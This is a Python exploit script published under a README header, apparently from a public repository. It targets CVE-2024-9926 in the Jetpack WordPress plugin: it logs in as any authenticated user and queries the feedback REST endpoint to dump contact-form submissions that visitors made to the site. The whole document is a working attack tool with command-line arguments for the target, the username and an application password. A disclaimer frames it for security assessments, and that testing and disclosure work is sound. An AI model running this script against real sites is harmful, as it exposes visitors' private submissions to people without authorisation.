README.md
Rendering markdown...
#!/usr/bin/env python3
# Exploit Title: Jetpack < 13.9.1 - Broken Access Control in Contact Form
# Date: 2024-11-01
# Exploit Author: Antonio Francesco Sardella
# Vendor Homepage: https://jetpack.com/
# Software Link: https://jetpack.com/
# Version: Every version of Jetpack since 3.9.9.
# Tested on: 'WordPress 6.6.2' in Docker container (vulnerable application), 'Ubuntu 24.04.1 LTS' with 'Python 3.12.3' (script execution)
# CVE: CVE-2024-9926
# Category: WebApps
# Repository: https://github.com/m3ssap0/wordpress-jetpack-broken-access-control-exploit
# Vulnerability discovered and reported by: Marc Montpas
# This is a Python3 program that exploits Jetpack < 13.9.1 broken access control vulnerability.
# This vulnerability could be used by any logged in users on a site to read forms submitted by visitors on the site.
# https://jetpack.com/blog/jetpack-13-9-1-critical-security-update/
# https://wpscan.com/vulnerability/669382af-f836-4896-bdcb-5c6a57c99bd9/
# DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments.
# Please use this tool responsibly. I do not take responsibility for the way in which any one uses
# this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.
import argparse
import json
import logging
import requests
import validators
from requests.auth import HTTPBasicAuth
VERSION = "v1.0 (2024-11-01)"
DEFAULT_LOGGING_LEVEL = logging.INFO
def parse_arguments():
parser = argparse.ArgumentParser(
description=f"Exploit for Jetpack < 13.9.1 broken access control vulnerability (CVE-2024-9926). - {VERSION}"
)
parser.add_argument("-t", "--target",
required=True,
help="URL of the target WordPress")
parser.add_argument("-u", "--username",
required=True,
help="Username of WordPress")
parser.add_argument("-ap", "--application-password",
required=True,
help="Application Password generated for the user (it's NOT the user password)")
parser.add_argument("-v", "--verbose",
action="store_true",
required=False,
default=False,
help="verbose mode")
return parser.parse_args()
def validate_input(args):
try:
validators.url(args.target)
except validators.ValidationFailure:
raise ValueError("Invalid target URL!")
if len(args.username.strip()) < 1:
raise ValueError("Invalid username!")
if len(args.application_password.strip()) < 1:
raise ValueError("Invalid Application Password!")
def send_request(url, username, application_password):
logging.info("Sending request to target WordPress.")
target_endpoint = f"{url}"
if not target_endpoint.endswith("/"):
target_endpoint = f"{target_endpoint}/"
target_endpoint = f"{target_endpoint}?rest_route=/wp/v2/feedback"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
}
basic = HTTPBasicAuth(username, application_password)
try:
r = requests.get(target_endpoint, headers=headers, auth=basic, verify=False)
logging.info(f"Request sent to target WordPress (HTTP {r.status_code}).")
except Exception as e:
logging.fatal("Error in contacting the target WordPress.")
logging.fatal(e)
return
if r.status_code == 200 and "application/json" in r.headers["Content-Type"]:
logging.info(f"\n---------------------\n{json.dumps(r.json(), indent=3)}\n---------------------")
else:
logging.fatal("Wrong response received from the target WordPress.")
if "application/json" in r.headers["Content-Type"]:
logging.fatal(f"\n---------------------\n{json.dumps(r.json(), indent=3)}\n---------------------")
else:
logging.fatal(f"\n---------------------\n{r.text}\n---------------------")
def main():
args = parse_arguments()
logging_level = DEFAULT_LOGGING_LEVEL
if args.verbose:
logging_level = logging.DEBUG
logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s")
validate_input(args)
target = args.target.strip()
username = args.username.strip()
application_password = args.application_password.strip()
logging.info(f"Exploit for Jetpack < 13.9.1 broken access control vulnerability (CVE-2024-9926). - {VERSION}")
logging.debug("Parameters:")
logging.debug(f" target = {target}")
logging.debug(f" username = {username}")
logging.debug(f"application_password = {application_password}")
send_request(target, username, application_password)
logging.info("Finished.")
if __name__ == "__main__":
main()